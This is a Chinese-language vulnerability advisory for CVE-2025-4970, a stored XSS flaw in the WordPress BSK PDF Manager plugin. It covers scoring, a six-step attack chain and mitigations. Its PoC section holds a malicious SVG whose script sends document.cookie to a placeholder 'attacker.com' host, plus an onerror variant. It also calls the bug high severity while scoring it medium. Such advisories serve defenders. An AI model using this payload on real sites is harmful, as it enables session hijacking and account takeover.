CVE-2025-4970 WordPress BSK PDF Manager插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-4970

漏洞类型

存储型跨站脚本攻击（Stored XSS）

CVSS评分

5.5 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

BSK PDF Manager插件（WordPress）

漏洞概述

CVE-2025-4970是WordPress平台下BSK PDF Manager插件的一个高危安全漏洞。该插件是广受欢迎的PDF文档管理工具，被大量WordPress网站使用。漏洞根源在于插件对SVG文件上传处理时缺乏充分的输入验证和输出转义机制。攻击者只需具备管理员或更高权限即可上传包含恶意JavaScript代码的SVG文件，当其他用户访问该文件时，注入的脚本将在其浏览器上下文中执行，从而窃取会话Cookie、劫持用户账户或进行其他恶意操作。此漏洞影响所有版本直至3.7.1，仅在多站点WordPress安装或禁用unfiltered_html的环境中可被利用。

技术细节

漏洞存在于BSK PDF Manager插件的SVG文件上传功能模块。攻击者利用管理员权限上传特制的SVG文件，文件中包含<script>标签或SVG特有的事件处理器（如onload、onerror等）来注入JavaScript代码。由于插件未对SVG内容进行严格的输入清理，且在用户访问上传文件时未进行输出转义，导致恶意脚本被浏览器解析执行。攻击成功后，攻击者可以获取受害者的认证会话、执行任意操作、修改网站内容或传播恶意软件。CVSS 3.1评分5.5（中等严重性），攻击向量为网络，复杂度低，但需要高权限认证，无需用户交互，影响范围为已更改组件，机密性和完整性影响均为低。

攻击链分析

STEP 1

信息收集

攻击者识别目标网站使用的WordPress版本及BSK PDF Manager插件版本，确认版本≤3.7.1

STEP 2

权限获取

攻击者通过社工、凭据泄露或其他方式获取目标WordPress站点的管理员或更高权限账户

STEP 3

恶意文件制作

攻击者构造包含XSS payload的恶意SVG文件，利用<script>标签或SVG事件处理器（如onload、onerror）注入JavaScript代码

STEP 4

文件上传

使用获取的管理员权限登录WordPress后台，通过BSK PDF Manager插件的上传功能上传恶意SVG文件

STEP 5

触发执行

当其他用户（管理员或普通用户）访问该SVG文件URL时，浏览器解析SVG并执行注入的恶意脚本

STEP 6

会话劫持

恶意脚本窃取用户Cookie或执行其他恶意操作，攻击者利用窃取的会话信息接管用户账户

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-4970 PoC - Malicious SVG File for XSS
# Upload this SVG file through BSK PDF Manager plugin

malicious_svg = '''<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <script type="text/javascript">
    // Steal session cookies and send to attacker server
    var cookie = document.cookie;
    fetch('https://attacker.com/steal?c=' + encodeURIComponent(cookie));
  </script>
</svg>
'''

# Alternative PoC with img tag
malicious_svg_img = '''<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <img src="x" onerror="alert(document.cookie)" />
</svg>
'''

# Exploitation steps:
# 1. Login as Administrator on WordPress site
# 2. Navigate to BSK PDF Manager upload section
# 3. Upload the malicious SVG file
# 4. When any user visits the uploaded SVG file, XSS payload executes

影响范围

BSK PDF Manager ≤ 3.7.1（所有版本）

防御指南

临时缓解措施

如果无法立即升级插件，可采取以下临时缓解措施：1）临时禁用BSK PDF Manager插件的SVG上传功能；2）在Web服务器配置中为SVG文件添加Content-Type: application/octet-stream响应头，强制下载而非直接在浏览器中显示；3）对所有上传的SVG文件进行服务器端内容扫描，移除<script>标签和事件处理器属性；4）确保WordPress站点的unfiltered_html功能正常运行（非多站点环境）；5）限制管理员账户数量，使用强密码和双因素认证。